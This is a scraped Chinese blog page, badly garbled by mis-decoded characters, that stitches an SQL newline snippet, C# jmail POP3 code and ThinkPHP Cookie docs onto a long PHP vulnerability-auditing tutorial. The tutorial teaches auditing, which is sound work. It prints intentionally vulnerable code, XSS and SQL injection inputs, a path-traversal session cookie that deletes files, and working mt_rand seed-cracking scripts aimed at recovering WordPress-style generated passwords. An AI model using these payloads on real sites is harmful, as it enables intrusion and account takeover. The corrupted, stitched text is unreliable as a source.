??xml version="1.0" encoding="utf-8" standalone="yes"?>
-- 制表W?nbsp; CHAR(9)
-- 换行W?nbsp; CHAR(10)
-- 回R CHAR(13)
--在表aaa中过滤包含回车换行符的字Db的记?
select * from aaa
where charindex(char(10)+char(13),b)>0
--在表aaa中把包含回R换行W的字段b的记录的回R换行W去?br />
update aaa set b=replace(b,char(10)+char(13),'')
本文来自CSDN博客Q{载请标明出处Qhttp://blog.csdn.net/jiedushi/archive/2008/09/15/2933621.aspx
jmail.Message mailMessage;
jmail.Attachments atts;
jmail.Attachment att;
string pop = "mail.xx.com";
popMail.Connect("xx@xx.com", "xxxx", pop, 110);
for (int i = 1; i <= popMail.Count; i++)
{
mailMessage = popMail.Messages[i];
atts = mailMessage.Attachments;
mailMessage.Charset = "gb2312";
mailMessage.ContentTransferEncoding = "base64";
mailMessage.Encoding = "base64";
mailMessage.ISOEncodeHeaders = false;
MessageBox.Show(mailMessage.Subject);
}
popMail.Disconnect();
Cookiecd装了基本的Cookie静态操作方法,q且无需引入和实例化可以直接用?br />
和Cookie相关的设|参数有
'COOKIE_EXPIRE'=>30000000000, // Cookie有效?/p>
'COOKIE_DOMAIN'=>$_SERVER['HTTP_HOST'], // Cookie有效域名
'COOKIE_PATH'=>'/', // Cookie路径
'COOKIE_PREFIX'=>'THINK_', // Cookie前缀 避免冲突
复制代码
[ Ҏ ]
常用的操作方法:
is_set($name) // Cookie变量是否存在
set($name,$value,$expire='',$path='',$domain='') // 讄Cookie?br />
SetҎq支持三个可选参?
$expire 有效?
$path Cookie路径
$domain Cookie域名
如果没有讄则用配|文仉面的相关配置的倹{?br />
get($name) // 获取Cookie?br />
delete($name) // 删除Cookie的?br />
clear($name) // 清空Cookie
[ CZ ]
下面l出了Cookie的相x作例子:
// Cookie变量是否存在
Cookie::is_set('userId');
// 讄Cookie?/p>
Cookie::set('userId','2008');
// 讄Cookie 有效?4时
Cookie::set('userId','2008',60*60*24);
// 获取Cookie?/p>
Cookie::get('userId');
// 删除Cookie?/p>
Cookie::delete('userId');
复制代码
注意默认的配|参数COOKIE_PREFIX的值是'THINK_', 所以,如果需要通过传统方式调用Cookie值的话,应该?br />
Cookie::get('userId')应该{同?br />
$_COOKIE['THINK_userId']
1. 前言
2. 传统的代码审计技?br />
3. PHP版本与应用代码审?br />
4. 其他的因素与应用代码审计
5. 扩展我们的字?br />
5.1 变量本n的key
5.2 变量覆盖
5.2.1 遍历初始化变?br />
5.2.2 parse_str()变量覆盖漏洞
5.2.3 import_request_variables()变量覆盖漏洞
5.2.4 PHP5 Globals
5.3 magic_quotes_gpc与代码安?br />
5.3.1 什么是magic_quotes_gpc
5.3.2 哪些地方没有术引号的保?br />
5.3.3 变量的编码与解码
5.3.4 二次d
5.3.5 术引号带来的新的安全问?br />
5.3.6 变量key与魔术引?br />
5.4 代码注射
5.4.1 PHP中可能导致代码注的函数
5.4.2 变量函数与双引号
5.5 PHP自n函数漏洞及缺?br />
5.5.1 PHP函数的溢出漏z?br />
5.5.2 PHP函数的其他漏z?br />
5.5.3 session_destroy()删除文g漏洞
5.5.4 随机函数
5.6 Ҏ字符
5.6.1 截断
5.6.1.1 include截断
5.6.1.2 数据截断
5.6.1.3 文g操作里的Ҏ字符
6. 怎么q一步寻找新的字?br />
7. DEMO
8. 后话
9. 附录
一、前a
PHP是一U被q泛使用的脚本语aQ尤光合于web开发。具有跨q_Q容易学习,功能?br />
大等特点Q据l计全世界有过34%的网站有php的应用,包括Yahoo、sina?63、sohu{大?br />
门户|站。而且很多具名的web应用pȝQ包括bbs,blog,wiki,cms{等Q都是用php开发的Q?br />
Discuz、phpwind、phpbb、vbb、wordpress、boblog{等。随着web安全的热点升U,php?br />
用程序的代码安全问题也逐步兴盛hQ越来越多的安全人员投入到这个领域,来多的应
用程序代码漏z被披露。针对这样一个状况,很多应用E序的官斚w成立了安全部门,或者雇
佣安全h员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也是q样的Ş
势导致了一个局面:大公司的产品安全pL大大的提高,那些很明昄漏洞基本灭绝了,那些
大家都知道的审计技术都无用武之C。我们面对很多工具以及大牛扫描过n遍的代码Q有?br />
多的安全人员有点悲观Q而有的官方安全h员也非常的放心自q代码Q但是不要忘C“?br />
有绝对的安全”Q我们应该去L新的途径挖掘新的漏洞。本文就l介l了一些非传统的技?br />
l验和大家分享?/p>
另外在这里特别说明一下本文里面很多漏z都是来源于|络上牛人和朋友们的分nQ在
q里需要感谢他们,Q)
二、传l的代码审计技?/p>
WEB应用E序漏洞查找基本上是围绕两个元素展开Q变量与函数。也是说一漏洞的利?br />
必须把你提交的恶意代码通过变量l过nơ变量{换传递,最l传递给目标函数执行Q还记得
MS那句l典的名a吗?“一切输入都是有害的”。这句话只强调了变量输入Q很多程序员?#8220;?br />
?#8221;理解为只是gpc[$_GET,$_POST,$_COOKIE]Q但是变量在传递过E生了n多的变化。导?br />
很多qo只是?#8220;U老虎”Q我们换句话来描叙下代码安全Q?#8220;一切进入函数的变量是有害的”?/p>
PHP代码审计技术用的最多也是目前的dҎQ静态分析,主要也是通过查找ҎD
安全漏洞的危险函敎ͼ常用的如grepQfindstr{搜索工P很多自动化工具也是用正则来?br />
索这些函数。下面列举一些常用的函数Q也是下文说的字典Q暂略)。但是目前基本已有的
字典很难扑ֈ漏洞Q所以我们需要扩展我们的字典Q这些字怹是本文主要探讨的?/p>
其他的方法有Q通过修改PHP源代码来分析变量程Q或者hook危险的函数来实现对应?br /> E序代码的审核,但是q些也依靠了我们上面提到的字典?/p>
三、PHP版本与应用代码审?/p>
到目前ؓ止,PHP主要?个版本:php4、php5、php6Q用比例大致如下:
php4 68%
2000-2007QNo security fixes after 2008/08Q最l版本是php4.4.9
php5 32%
2004-presentQNow at version 5.2.6QPHP 5.3 alpha1 released!Q?/p>
php6
目前q在试阶段Q变化很多做了大量的修改Q取消了很多安全选项如magic_quotes_gpc?br />
Q这个不是今天讨论的范围Q?/p>
׃php~少自动升的机ӞD目前PHP版本q存Q也D很多存在漏洞没有被修补?br /> q些有漏z的函数也是我们q行WEB应用E序代码审计的重点对象,也是我们字典重要来源?/p>
四、其他的因素与应用代码审?/p>
很多代码审计者拿C码就看,他们忽视?#8220;安全是一个整?#8221;Q代码安全很多的其他因素
有关p,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系l类型(主要是两大阵?br />
win/*nixQ,WEB服务端YӞ主要是iis/apache两大cdQ等因素。这是由于不同的pȝ不同
的WEB SERVER有着不同的安全特ҎҎ,下文有些部分会涉及?/p>
所以我们在做某个公司WEB应用代码审计Ӟ应该了解他们使用的系l,WEB服务端YӞ
PHP版本{信息?/p>
五、扩展我们的字典
下面详l介l一些非传统PHP应用代码审计一些漏z类型和利用技巧?/p>
5.1 变量本n的key
说到变量的提交很多h只是看到了GET/POST/COOKIE{提交的变量的|但是忘记了有?br /> E序把变量本w的key也当变量提取l函数处理?/p>
--code-------------------------------------------------------------------------
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>
-------------------------------------------------------------------------------
上面的代码就提取了变量本w的key昄出来Q单U对于上面的代码Q如果我们提交URLQ?/p>
--code-------------------------------------------------------------------------
key.php?<script>alert(1);</script>=1&bbb=2
-------------------------------------------------------------------------------
那么导致一个xss的漏z,扩展一下如果这个key提交linclude(){函数或者sql查询
呢?Q)
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q通读代码
+++++++++++++++++++++++++
5.2 变量覆盖Qvariable-overwriteQ?/p>
很多的漏z查找者都知道extract()q个函数在指定参CؓEXTR_OVERWRITE或者没有指
定函数可以导致变量覆盖,但是q有很多其他情况D变量覆盖的如Q?/p>
5.2.1 遍历初始化变?/p>
L如下代码Q?/p>
--code-------------------------------------------------------------------------
<?php
//var.php?a=fuck
$a='hi';
foreach($_GET as $key => $value) {
$$key = $value;
}
print $a;
?>
-------------------------------------------------------------------------------
很多的WEB应用都用上面的方式Q注意@环不一定是foreachQ,如Discuz!4.1的WAP部分
的代码:
--code-------------------------------------------------------------------------
$chs = '';
if($_POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value) {
$$key = $chs->Convert($value);
}
unset($chs);
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q通读代码
+++++++++++++++++++++++++
5.2.2 parse_str()变量覆盖漏洞QCVE-2007-3205Q、mb_parse_str()
--code-------------------------------------------------------------------------
//var.php?var=new
$var = 'init';
parse_str($_SERVER['QUERY_STRING']);
print $var;
-------------------------------------------------------------------------------
该函C样可以覆盖数l变量,上面的代码是通过$_SERVER['QUERY_STRING']来提取变
量的Q对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量Q?/p>
--code-------------------------------------------------------------------------
//var.php?var=1&a[1]=var1%3d222
$var1 = 'init';
parse_str($a[$_GET['var']]);
print $var1;
-------------------------------------------------------------------------------
上面的代码通过提交$var来实现对$var1的覆盖?/p>
+++++++++++++++++++++++++
漏洞审计{略Qparse_strQ?br />
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q查扑֭Wparse_str
+++++++++++++++++++++++++
+++++++++++++++++++++++++
漏洞审计{略Qmb_parse_strQ?br />
-------------------------
PHP版本要求Qphp4<4.4.7 php5<5.2.2
pȝ要求Q无
审计{略Q查扑֭Wmb_parse_str
+++++++++++++++++++++++++
5.2.3 import_request_variables()变量覆盖漏洞QCVE-2007-1396Q?/p>
--code-------------------------------------------------------------------------
//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
echo 'Hello admin!';
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计{略Qimport_request_variablesQ?br />
-------------------------
PHP版本要求Qphp4<4.4.1 php5<5.2.2
pȝ要求Q无
审计{略Q查扑֭Wimport_request_variables
+++++++++++++++++++++++++
5.2.4 PHP5 Globals
从严格意义上来说q个不可以算是PHP的漏z,只能是一个特性,试代码Q?/p>
--code-------------------------------------------------------------------------
<?
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
php echo $foobar;
?>
-------------------------------------------------------------------------------
但是很多的程序没有考虑到这点,L如下代码Q?/p>
--code-------------------------------------------------------------------------
//Z安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
-------------------------------------------------------------------------------
如果熟悉WEB2.0的攻ȝ同学Q很Ҏ惛_上面的代码我们可以利用这个特性进行crsf
d?/p>
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q通读代码
+++++++++++++++++++++++++
5.3 magic_quotes_gpc与代码安?/p>
5.3.1 什么是magic_quotes_gpc
当打开Ӟ所有的 'Q单引号Q,"Q双引号Q,\Q反斜线Q和 NULL 字符都会被自动加上一?br />
反斜U进行{义。还有很多函数有cM的作?如:addslashes()、mysql_escape_string()?br />
mysql_real_escape_string(){,另外q有parse_str()后的变量也受magic_quotes_gpc的媄
响。目前大多数的主机都打开了这个选项Qƈ且很多程序员也注意用上面那些函数去qo
变量Q这看上d安全。很多漏z查找者或者工具遇C函数qo后的变量直接放弃,但是
在他们攑ּ的同时也放过很多致命的安全漏z?Q)
5.3.2 哪些地方没有术引号的保?br />
1) $_SERVER变量
PHP5?_SERVER变量~少magic_quotes_gpc的保护,Dq年来X-Forwarded-For的漏z?br /> 猛暴Q所以很多程序员考虑qoX-Forwarded-ForQ但是其他的变量呢?
+++++++++++++++++++++++++
漏洞审计{略Q?_SERVER变量Q?br />
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q查扑֭W_SERVER
+++++++++++++++++++++++++
2) getenv()得到的变量(使用cM$_SERVER变量Q?br />
+++++++++++++++++++++++++
漏洞审计{略Qgetenv()Q?br />
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q查扑֭Wgetenv
+++++++++++++++++++++++++
3) $HTTP_RAW_POST_DATA与PHP输入、输出流
主要应用与soap/xmlrpc/webpublish功能里,L如下代码Q?/p>
--code-------------------------------------------------------------------------
if ( !isset( $HTTP_RAW_POST_DATA ) ) {
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计{略Q数据流Q?br />
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q查扑֭WHTTP_RAW_POST_DATA或者php://input
+++++++++++++++++++++++++
4) 数据库操作容易忘?的地方如Qin()/limit/order by/group by
如Discuz!<5.0的pm.phpQ?br />
--code-------------------------------------------------------------------------
if(is_array($msgtobuddys)) {
$msgto = array_merge($msgtobuddys, array($msgtoid));
......
foreach($msgto as $uid) {
$uids .= $comma.$uid;
$comma = ',';
}
......
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
LEFT JOIN {$tablepre}memberfields mf USING(uid)
WHERE m.uid IN ($uids)");
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q查找数据库操作字符Qselect,update,insert{等Q?br />
+++++++++++++++++++++++++
5.3.3 变量的编码与解码
一个WEBE序很多功能的实现都需要变量的~码解码Q而且在q一转一解的传递过E中
悄悄的l过你的qo的安全防Uѝ?/p>
q个cd的主要函数有Q?/p>
1) stripslashes() q个其实是一个decode-addslashes()
2) 其他字符串{换函敎ͼ
base64_decode -- 对?MIME base64 ~码的数据进行解?br />
base64_encode -- 使用 MIME base64 Ҏ据进行编?br />
rawurldecode -- 对已~码?URL 字符串进行解?br />
rawurlencode -- 按照 RFC 1738 ?URL q行~码
urldecode -- 解码已编码的 URL 字符?br />
urlencode -- ~码 URL 字符?br />
......
Q另外一?unserialize/serializeQ?/p>
3) 字符集函敎ͼGKB,UTF7/8...Q如iconv()/mb_convert_encoding(){?br />
目前很多漏洞挖掘者开始注意这一cd的漏z了Q如典型的urldecodeQ?/p>
--code-------------------------------------------------------------------------
$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";
-------------------------------------------------------------------------------
当magic_quotes_gpc=onӞ我们提交?id=%2527Q得到sql语句为:
--code-------------------------------------------------------------------------
SELECT * FROM article WHERE articleid='''
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q查扑֯应的~码函数
+++++++++++++++++++++++++
5.3.4 二次dQ详l见附录[1]Q?/p>
1) 数据库出来的变量没有q行qo
2) 数据库的转义W号Q?/p>
* mysql/oracle转义W号同样是\Q我们提?通过术引号变化为\'Q当我们updateq入?br /> 据库Ӟ通过转义变ؓ'Q?/p>
* mssql的{义字Wؓ'Q所以我们提?通过术引号变化为\'Qmssql会把它当Z个字W?br />
串直接处理,所以魔术引号对于mssql的注没有Q何意义)
从这里我们可以思考得C个结论:一切进入函数的变量都是有害的,另外利用二次d
我们可以实现一个webrootkitQ把我们的恶意构造直接放到数据库里。我们应当把q样的代
码看成一个vulQ?/p>
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q通读代码
+++++++++++++++++++++++++
5.3.5 术引号带来的新的安全问?/p>
首先我们看下术引号的处理机Ӟ
[\-->\\,'-->\',"-->\",null-->\0]
q给我们引进了一个非常有用的W号“\”Q?#8220;\”W号不仅仅是转义W号Q在WINpȝ下也?br /> 目录转蟩的符受这个特点可能导致php应用E序里生非常有意思的漏洞Q?/p>
1) 得到原字W(',\,",null]Q?/p>
--code-------------------------------------------------------------------------
$order_sn=substr($_GET['order_sn'], 1);
//提交 '
//术引号处理 \'
//substr '
$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
" shipping_time, shipping_id, invoice_no, user_id ".
" FROM " . $ecs->table('order_info').
" WHERE order_sn = '$order_sn' LIMIT 1";
-------------------------------------------------------------------------------
2) 得到“\”字符
--code-------------------------------------------------------------------------
$order_sn=substr($_GET['order_sn'], 0,1);
//提交 '
//术引号处理 \'
//substr \
$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
" shipping_time, shipping_id, invoice_no, user_id ".
" FROM " . $ecs->table('order_info').
" WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";
-------------------------------------------------------------------------------
提交内容Q?/p>
--code-------------------------------------------------------------------------
?order_sn='&order_tn=%20and%201=1/*
-------------------------------------------------------------------------------
执行的SQL语句为:
--code-------------------------------------------------------------------------
SELECT order_id, order_status, shipping_status, pay_status, shipping_time,
shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and
order_tn=' and 1=1/*'
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q查扑֭W串处理函数如substr或者通读代码
+++++++++++++++++++++++++
5.3.6 变量key与魔术引?br />
我们最在这一节的开头就提到了变量keyQPHP的魔术引号对它有什么媄响呢Q?/p>
--code-------------------------------------------------------------------------
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>
-------------------------------------------------------------------------------
1) 当magic_quotes_gpc = OnӞ在php5.24下测试显C:
aaaa\'aaa
bb\'b
从上面结果可以看出来Q在讄了magic_quotes_gpc = On下,变量key受魔术引号媄响?br /> 但是在php4和php<5.2.1的版本中Q不处理数组W一l变量的keyQ测试代码如下:
--code-------------------------------------------------------------------------
<?php
//key.php?aaaa'aaa[bb']=1
print_R($_GET);
?>
-------------------------------------------------------------------------------
l果昄:
Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )
数组W一l变量的key不受术引号的媄响?/p>
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Qphp4和php<5.2.1
pȝ要求Q无
审计{略Q通读代码
+++++++++++++++++++++++++
2) 当magic_quotes_gpc = OffӞ在php5.24下测试显C:
aaaa'aaa
bb'b
对于magic_quotes_gpc = Off时所有的变量都是不安全的Q考虑到这个,很多E序都通过
addslashes{函数来实现术引号对变量的qoQ示例代码如下:
--code-------------------------------------------------------------------------
<?php
//keyvul.php?aaa'aa=1'
//magic_quotes_gpc = Off
if (!get_magic_quotes_gpc())
{
$_GET = addslashes_array($_GET);
}
function addslashes_array($value)
{
return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value);
}
print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key;
}
?>
-------------------------------------------------------------------------------
以上的代码看上去很完,但是他这个代码里addslashes($value)只处理了变量的具?br />
的|但是没有处理变量本n的keyQ上面的代码昄l果如下Q?br />
Array
(
[aaa'aa] => 1\'
)
aaa'aa
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q通读代码
+++++++++++++++++++++++++
5.4 代码注射
5.4.1 PHP中可能导致代码注的函数
很多人都知道eval、preg_replace+/e可以执行代码Q但是不知道phpq有很多的函数可
以执行代码如Q?/p>
assert()
call_user_func()
call_user_func_array()
create_function()
变量函数
...
q里我们看看最q出现的几个关于create_function()代码执行漏洞的代码:
--code-------------------------------------------------------------------------
<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
';
usort($databases, create_function('$a, $b', $sort_function));
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q查扑֯应函敎ͼassert,call_user_func,call_user_func_array,create_function{)
+++++++++++++++++++++++++
5.4.2 变量函数与双引号
对于单引号和双引L区别Q很多程序员深有体会Q示例代码:
--code-------------------------------------------------------------------------
echo "$a\n";
echo '$a\n';
-------------------------------------------------------------------------------
我们再看如下代码Q?/p>
--code-------------------------------------------------------------------------
//how to exp this code
if($globals['bbc_email']){
$text = preg_replace(
array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
"/\[email\](.*?)\[\/email\]/ies"),
array('check_email("$1", "$2")',
'check_email("$1", "$1")'), $text);
-------------------------------------------------------------------------------
另外很多的应用程序都把变量用""存放在缓存文件或者config或者data文g里,q样?br />
Ҏ被h注射变量函数?br />
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q通读代码
+++++++++++++++++++++++++
5.5 PHP自n函数漏洞及缺?br />
5.5.1 PHP函数的溢出漏z?/p>
大家q记得Stefan Esser大牛的Month of PHP BugsQMOPB见附录[2]Q项目么Q其中比?br /> 有名的要是unserialize()Q代码如下:
--code-------------------------------------------------------------------------
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
-------------------------------------------------------------------------------
在以往的PHP版本里,很多函数都曾l出现过溢出漏洞Q所以我们在审计应用E序漏洞?br /> 时候不要忘C试目标使用的PHP版本信息?/p>
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q对应fix的版?br />
pȝ要求Q?br />
审计{略Q查扑֯应函数名
+++++++++++++++++++++++++
5.5.2 PHP函数的其他漏z?/p>
Stefan Esser大牛发现的漏z:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability
比如phpwind早期的serarch.php里的代码Q?/p>
--code-------------------------------------------------------------------------
unset($uids);
......
$query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
while($member=$db->fetch_array($query)){
$uids .= $member['uid'].',';
}
$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
........
$query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Qphp4<4.3 php5<5.14
pȝ要求Q无
审计{略Q查找unset
+++++++++++++++++++++++++
5.5.3 session_destroy()删除文g漏洞Q测试PHP版本Q?.1.2Q?br />
q个漏洞是几q前朋友saiy发现的,session_destroy()函数的功能是删除session文gQ?br />
很多web应用E序的logout的功能都直接调用q个函数删除sessionQ但是这个函数在一些?br />
的版本中~少qoD可以删除L文g。测试代码如下:
--code-------------------------------------------------------------------------
<?php
//val.php
session_save_path('./');
session_start();
if($_GET['del']) {
session_unset();
session_destroy();
}else{
$_SESSION['hei']=1;
echo(session_id());
print_r($_SESSION);
}
?>
-------------------------------------------------------------------------------
当我们提交构造cookie:PHPSESSID=/../1.phpQ相当于unlink('sess_/../1.php')q样
通过注射../转蟩目录删除L文g了。很多著名的E序某些版本都受影响如phpmyadminQ?br />
sablogQphpwind3{等?/p>
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q具体不?br />
pȝ要求Q无
审计{略Q查找session_destroy
+++++++++++++++++++++++++
5.5.4 随机函数
1) rand() VS mt_rand()
--code-------------------------------------------------------------------------
<?php
//on windows
print mt_getrandmax(); //2147483647
print getrandmax();// 32767
?>
-------------------------------------------------------------------------------
可以看出rand()最大的随机数是32767Q这个很Ҏ被我们暴力破解?
--code-------------------------------------------------------------------------
<?php
$a= md5(rand());
for($i=0;$i<=32767;$i++){
if(md5($i) ==$a ) {
print $i."-->ok!!<br>";exit;
}else { print $i."<br>";}
}
?>
-------------------------------------------------------------------------------
当我们的E序使用rand处理sessionӞd者很Ҏ暴力破解Z的sessionQ但是对?br /> mt_rand是很隑֍U的暴力的?/p>
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q查找rand
+++++++++++++++++++++++++
2) mt_srand()/srand()-weak seedingQby Stefan EsserQ?br />
看php手册里的描述Q?/p>
-------------------------------------------------------------------------------
mt_srand
(PHP 3 >= 3.0.6, PHP 4, PHP 5)
mt_srand -- 播下一个更好的随机数发生器U子
说明
void mt_srand ( int seed )
?seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变ؓ可选项Q当该项为空
Ӟ会被设ؓ随时数?
例子 1. mt_srand() 范例
<?php
// seed with microseconds
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?>
? ?PHP 4.2.0 P不再需要用 srand() ?mt_srand() 函数l随机数发生器播U,现已
自动完成?br />
-------------------------------------------------------------------------------
php?.2.0开始实C自动播种Q但是ؓ了兼容,后来使用cM于这L代码播种Q?/p>
--code-------------------------------------------------------------------------
mt_srand ((double) microtime() * 1000000)
-------------------------------------------------------------------------------
但是使用(double)microtime()*1000000cM的代码seed是比较脆qQ?/p>
0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000
那么很容易暴力破?试代码如下Q?/p>
--code-------------------------------------------------------------------------
<?php
/////////////////
//>php rand.php
//828682
//828682
////////////////
ini_set("max_execution_time",0);
$time=(double) microtime()* 1000000;
print $time."\n";
mt_srand ($time);
$search_id = mt_rand();
$seed = search_seed($search_id);
print $seed;
function search_seed($rand_num) {
$max = 1000000;
for($seed=0;$seed<=$max;$seed++){
mt_srand($seed);
$key = mt_rand();
if($key==$rand_num) return $seed;
}
return false;
}
?>
-------------------------------------------------------------------------------
从上面的代码实现了对seed的破解,另外ҎStefan Esser的分析seedq根据进E变?br /> 而变化,换句话来说同一个进E里的seed是相同的?然后同一个seed每次mt_rand的值都?br /> 特定的。如下图Q?/p>
+--------------+
| seed-A |
+--------------+
| mt_rand-A-1 |
| mt_rand-A-2 |
| mt_rand-A-3 |
+--------------+
+--------------+
| seed-B |
+--------------+
| mt_rand-B-1 |
| mt_rand-B-2 |
| mt_rand-B-3 |
+--------------+
对于seed-A里mt_rand-1/2/3都是不相{的Q但是值都是特定的Q也是说当seed-A{于
seed-BQ那么mt_rand-A-1q于mt_rand-B-1…Q这h们只要能够得到seed可以得到每?br />
mt_rand的g?/p>
对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全h员错误的?br /> 样就是安全的Q,q个要分两种情况来分析:
W一U:'Cross Application Attacks'Q这个思\在Stefan Esser文章里有提到Q主要是利用
其他E序定义的播U(如mt_srand ((double) microtime()* 1000000)Q,phpbb+wordpreel?br />
合就存在q样的危?
W二U:5.2.6>php>4.2.0默认播种的算法也不是很强悍,q是Stefan Esser的文章里的描qͼ
-------------------------------------------------------------------------------
The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5
<= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only
31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne
Twister was changed and the forced bit removed.
-------------------------------------------------------------------------------
?2位系l上默认的播U的U子为最大值是2^32Q这h们@环最?^32ơ就可以破解
seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bugQ奇数和偶数的播U是一LQ详见附?br />
[3]Q?试代码如下Q?/p>
--code-------------------------------------------------------------------------
<?php
mt_srand(4);
$a = mt_rand();
mt_srand(5);
$b = mt_rand();
print $a."\n".$b;
?>
-------------------------------------------------------------------------------
通过上面的代码发?a==$bQ所以我们@环的ơ数?^32/2=2^31ơ。我们看如下代码Q?/p>
--code-------------------------------------------------------------------------
<?php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0
define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1
$key = wp_generate_password(20, false);
echo $key."\n";
$seed = getseed($key);
print $seed."\n";
mt_srand($seed);
$pass = wp_generate_password(20, false);
echo $pass."\n";
function wp_generate_password($length = 12, $special_chars = true) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ( $special_chars )
$chars .= '!@#$%^&*()';
$password = '';
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
return $password;
}
function getseed($resetkey) {
$max = pow(2,(32-BUGGY));
for($x=0;$x<=$max;$x++) {
$seed = BUGGY ? ($x << 1) + 1 : $x;
mt_srand($seed);
$testkey = wp_generate_password(20,false);
if($testkey==$resetkey) { echo "o\n"; return $seed; }
if(!($x % 10000)) echo $x / 10000;
}
echo "\n";
return false;
}
?>
-------------------------------------------------------------------------------
q行l果如下Q?/p>
-------------------------------------------------------------------------------
php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr
-------------------------------------------------------------------------------
?0634ơ时候我们得Cl果?/p>
当PHP版本C5.2.1后,通过修改法修补了奇数和偶数的播U相{的问题Q这样也D
了php5.2.0前后D同一个播U后的mt_rand()的g一栗比如:
--code-------------------------------------------------------------------------
<?php
mt_srand(42);
echo mt_rand();
//php<=5.20 1387371436
//php>5.20 1354439493
?>
-------------------------------------------------------------------------------
